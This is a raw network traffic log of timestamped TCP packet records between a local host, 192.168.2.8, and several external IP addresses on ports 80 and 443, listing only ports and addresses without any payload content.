Dec 16, 2024 13:16:48.113099098 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.113138914 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.113157034 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.114012957 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.114037037 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.114077091 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.115061045 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.115082026 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.115112066 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.115128040 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.116117001 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.116168976 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.116247892 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.116282940 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.117232084 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.117245913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.117284060 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.117301941 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.118074894 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.118088961 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.118120909 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.118141890 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.118140936 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:48.118155003 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.119349957 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.119364023 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.119404078 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.120126009 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.120179892 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.120261908 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.120301962 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.121179104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.121223927 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.121289015 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.121325970 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.122391939 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.122404099 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.122471094 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.122472048 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.123359919 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.123372078 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.123410940 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.124378920 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.124399900 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.124428034 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.124476910 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.125439882 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.125452042 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.125488997 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.126499891 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.126512051 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.126539946 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.127487898 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.127537012 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.127682924 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.127732992 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.128546000 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.128556013 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.128592968 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.129604101 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.129614115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.129652023 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.129673004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.130508900 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.130681038 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.130697012 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.130716085 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.131546021 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.131594896 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.131680012 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.131721973 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.132601976 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.133029938 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.133078098 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.133687973 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.133891106 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.133955956 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.133992910 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.134726048 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.134764910 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.134798050 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.134867907 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.135986090 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.136029005 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.136038065 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.136065006 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.136862993 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.136909962 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.136944056 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.136986017 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.137893915 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.137907982 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.137938976 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.137957096 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.138921976 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.138933897 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.138962030 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.138978958 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.140048027 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.140098095 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.140166044 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.140204906 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.141164064 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.141175985 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.141201019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.141215086 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.141891003 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.141928911 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.141987085 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.142023087 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.143062115 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.143074989 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.143115044 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.144098043 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.144110918 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.144136906 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.144155025 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.145030022 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.145165920 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.145207882 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.146100044 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.146140099 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.146169901 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.146316051 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.146878958 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:48.147089958 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.147141933 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.147214890 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.147264004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.148181915 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.148226976 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.267899036 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.287230015 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.287296057 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.287365913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.287441969 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.287724972 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.287765026 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.287770987 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.287803888 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.288732052 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.288794994 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.288888931 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.288930893 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.289702892 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.289747000 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.289860010 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.289907932 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.290817022 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.290853024 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.290915012 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.291786909 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.291945934 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.292001009 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.292892933 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.292956114 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.293052912 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.293802023 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.294045925 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.294135094 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.294236898 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.294280052 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.295095921 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.295133114 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.295157909 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.295182943 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.295912027 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.295964956 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.296063900 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.296118975 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.297023058 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.297076941 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.297166109 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.297209978 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.297977924 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.298041105 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.298127890 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.298181057 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.299077034 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.299128056 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.299299002 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.299367905 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.300105095 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.300168037 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.300276995 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.300319910 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.301269054 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.301306963 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.301359892 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.301497936 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.302675962 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.302742004 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.303502083 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.303680897 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.303740025 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.304533005 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.304570913 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.304589987 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.304620028 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.305198908 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.305377960 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.305428982 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.306308031 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.306389093 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.306474924 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.306529999 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:48.306583881 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:48.306597948 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.306669950 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:48.307288885 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:48.307310104 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:48.307374954 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.307410955 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.307425022 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.307511091 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.307768106 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.307827950 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.307889938 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.307934046 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.309042931 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.309079885 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.309111118 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.309137106 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.309864998 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.310034990 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.310091019 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.310856104 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.311140060 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.311203957 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.311929941 CET	80	49794	185.215.113.16	192.168.2.8
Dec 16, 2024 13:16:48.314117908 CET	49794	80	192.168.2.8	185.215.113.16
Dec 16, 2024 13:16:48.586812019 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.586875916 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:48.758508921 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:48.758563042 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:48.878787994 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.878806114 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.878818035 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.878827095 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.878837109 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:48.878849983 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:49.521455050 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:49.521567106 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:49.529838085 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:49.529855013 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:49.530106068 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:49.535193920 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:49.535301924 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:49.535332918 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:49.822170019 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:49.822232962 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:50.568857908 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:50.568954945 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:50.569020987 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:50.817167044 CET	49804	443	192.168.2.8	172.67.164.37
Dec 16, 2024 13:16:50.817208052 CET	443	49804	172.67.164.37	192.168.2.8
Dec 16, 2024 13:16:50.879488945 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:50.879793882 CET	49809	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:50.903579950 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:50.999679089 CET	80	49809	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:50.999744892 CET	49809	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:50.999809027 CET	80	49789	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:50.999855042 CET	49789	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:51.000339031 CET	49809	80	192.168.2.8	185.215.113.43
Dec 16, 2024 13:16:51.023668051 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.119981050 CET	80	49809	185.215.113.43	192.168.2.8
Dec 16, 2024 13:16:51.341360092 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.341411114 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.341420889 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.341473103 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.343658924 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.343704939 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.343774080 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.343815088 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.352032900 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.352076054 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.352123976 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.352163076 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.360435963 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.360498905 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.360511065 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.360560894 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.368834972 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.368887901 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.368911982 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.368952036 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.377315044 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.377368927 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.467015982 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.467076063 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.467082977 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.467118025 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.471138000 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.471184969 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.471973896 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.472014904 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.472090960 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.472126961 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.480381012 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.480436087 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.480477095 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.480514050 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.488775015 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.488838911 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.488876104 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.488914013 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.497175932 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.497232914 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.497258902 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.497294903 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.533335924 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.533396959 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.533416033 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.533452988 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.537484884 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.537539005 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.539079905 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.539122105 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.539196968 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.539236069 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.547432899 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.547502995 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.547533035 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.547574997 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.555913925 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.555958033 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.556054115 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.556104898 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.564208984 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.564253092 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.564306021 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.564342976 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.572664976 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.572709084 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.572791100 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.572827101 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.580984116 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.581026077 CET	49795	80	192.168.2.8	185.215.113.206
Dec 16, 2024 13:16:51.594922066 CET	80	49795	185.215.113.206	192.168.2.8
Dec 16, 2024 13:16:51.594966888 CET	49795	80	192.168.2.8	185.215.113.206
